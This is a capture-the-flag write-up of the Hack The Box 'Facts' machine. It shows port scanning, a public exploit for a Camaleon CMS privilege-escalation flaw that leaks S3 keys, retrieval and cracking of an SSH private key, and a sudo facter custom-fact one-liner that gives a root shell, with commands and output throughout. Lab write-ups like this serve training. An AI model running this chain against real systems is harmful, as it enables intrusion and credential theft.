Facts WriteUp

Table of Contents

Facts WriteUp

Facts is a 🟩 Easy difficulty machine on Hack The Box. It chains the exploitation of a web CMS with a credential leak into a MinIO S3-compatible storage server, from which we extract a password-protected SSH private key. Privilege escalation is achieved by abusing a binary allowed via sudo.

πŸ—ΊοΈ Attack Chain

Nmap β†’ Port 80 (CamaleonCMS 2.9.0) + Port 54321 (MinIO)
      β”‚
      β–Ό
CVE-2025-2304 β†’ Privilege Escalation + S3 Config Leak
      β”‚
      β–Ό
MinIO Credentials β†’ Bucket "internal"
      β”‚
      β–Ό
.ssh/id_ed25519 (encrypted private key)
      β”‚
      β–Ό
ssh2john + john β†’ passphrase: dragonballz β†’ user: trivia
      β”‚
      β–Ό
sudo /usr/bin/facter β†’ custom fact (.rb) β†’ /bin/bash as root 🏴

πŸ” Reconnaissance

Port Scanning

We perform reconnaissance in two phases: fast discovery followed by version detection on the found ports.

Add facts.htb to /etc/hosts:

echo "10.129.21.92 facts.htb" | sudo tee -a /etc/hosts

Phase 1, Fast TCP port discovery:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv facts.htb

Phase 2, Version detection and scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv facts.htb

Relevant ports found:

PortServiceDetail
22SSHOpenSSH 9.9p1 Ubuntu
80HTTPnginx 1.26.3 β†’ redirects to facts.htb
54321HTTPGolang net/http β†’ MinIO (S3 API)

πŸ’‘ Note on TCP/54321: Nmap identifies the server as MinIO via the X-Amz-* response headers. We set it aside for now and start with port 80.

🌐 Port 80, CamaleonCMS

We land on a blog where the administrator posts fun facts. We fuzz for directories:

gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
admin   (Status: 302) [--> http://facts.htb/admin/login]
robots  (Status: 200)
search  (Status: 200)
...

At /admin/login we can register an account. Once inside the panel, we see it runs Camaleon CMS v2.9.0.

⚠️ We tested SQLi and XSS in the search field and comments, neither is exploitable. The admin panel is the attack vector.

CVE-2025-2304, Privilege Escalation + S3 Config Leak

A quick search leads us to CVE-2025-2304 , an authenticated privilege escalation vulnerability in Camaleon CMS 2.9.0 that also leaks the S3 storage credentials configured in the CMS.

We use the public PoC :

python exploit.py -u http://facts.htb -U username -P password -e
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 5
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+]Extracting S3 Credentials
   s3 access key: AKIA0BFEDFE75637E79F
   s3 secret key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
   s3 endpoint: http://localhost:54321
[+]Reverting User Role

🎯 S3 credentials obtained. The endpoint points to the MinIO server we saw on port 54321, confirming the CMS uses MinIO as its storage backend.

πŸͺ£ Port 54321, MinIO (S3 API)

What is MinIO?

🧠 Concept: S3 (Simple Storage Service) is an object storage system with an API the industry has adopted as a de facto standard (AWS, GCP, Azure). A bucket is the root container where objects are stored, the structure is flat, there are no real subdirectories, and the path is part of the object’s key (name). MinIO is an open-source, self-hostable implementation fully compatible with the S3 API.

We configure a profile in the aws CLI using the obtained credentials:

aws configure --profile facts
# AWS Access Key ID:     AKIA0BFEDFE75637E79F
# AWS Secret Access Key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
# Default region name:   us-east-1
# Default output format: json

Bucket Enumeration

aws --endpoint-url http://facts.htb:54321 s3 ls --profile facts
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts

The randomfacts bucket only contains blog images. We focus on internal:

aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --profile facts --recursive | grep -v ".bundle"
2026-01-08 19:45:13        220 .bash_logout
2026-01-08 19:45:13       3900 .bashrc
2026-01-08 20:01:43          0 .cache/motd.legal-displayed
2026-01-08 19:47:17         20 .lesshst
2026-01-08 19:47:17        807 .profile
2026-04-05 09:40:42         82 .ssh/authorized_keys
2026-04-05 09:40:42        464 .ssh/id_ed25519

⚠️ The internal bucket looks like a user’s home directory, it contains .bashrc, .profile, and most importantly: an SSH private key.

Downloading the Private Key

aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_facts --profile facts

πŸ”‘ SSH Private Key, User Identification and Cracking

The key is passphrase-protected. Before cracking it, we verify that the private key matches the public key in authorized_keys by comparing their fingerprints:

# Private key fingerprint (will fail on passphrase but shows fingerprint)
ssh user@facts.htb -i id_facts -v 2>&1 | grep "SHA256"
# debug1: Will attempt key: id_facts ED25519 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY explicit

# Public key fingerprint from authorized_keys
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/authorized_keys ./authorized_keys --profile facts
ssh-keygen -l -f authorized_keys
# 256 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY no comment (ED25519)

βœ… Fingerprints match, the private key works for the user who owns that authorized_keys.

Cracking the Passphrase

We convert the key from ssh format to a john-compatible hash:

ssh2john id_facts > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
dragonballz      (id_facts)     
1g 0:00:01:41 DONE

User Identification

With the passphrase we can extract the public key, which includes the comment with the username:

chmod 600 id_facts
ssh-keygen -y -f id_facts # dragonballz
# ssh-ed25519 AAAAC3...ohxpLN trivia@facts.htb

🎯 User identified: trivia

πŸ’‰ Initial Access

ssh trivia@facts.htb -i id_facts # dragonballz

🚩 User Flag

cat /home/william/user.txt

πŸ§— Privilege Escalation

First thing after getting in, we check sudo permissions:

sudo -l
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

facter is a system data collection tool written in Ruby, typically used by Puppet. It accepts a custom facts directory via the --custom-dir flag, .rb files that define how to compute a new fact.

We abuse this by providing a custom fact that instead launches /bin/bash:

mkdir /tmp/exploit
echo "Facter.add(:shell) do setcode do system('/bin/bash') end end" > /tmp/exploit/shell.rb
sudo /usr/bin/facter --custom-dir=/tmp/exploit
root@facts:/tmp/exploit#

βœ… Root shell obtained by abusing a facter custom fact.

🏴 Root Flag

cat /root/root.txt

πŸ“ Attack Chain Summary

#TechniqueToolResult
1Reconnaissancenmap, gobusterCamaleonCMS 2.9.0 + MinIO on :54321
2CVE-2025-2304exploit.pyMinIO S3 credentials
3S3 enumerationaws CLISSH private key in bucket internal
4Passphrase crackingssh2john, johnpassphrase: dragonballz β†’ user: trivia
5Initial accesssshShell as trivia
6Sudo abuse (facter)Custom fact .rbShell as root 🏴

See you in the next challenge.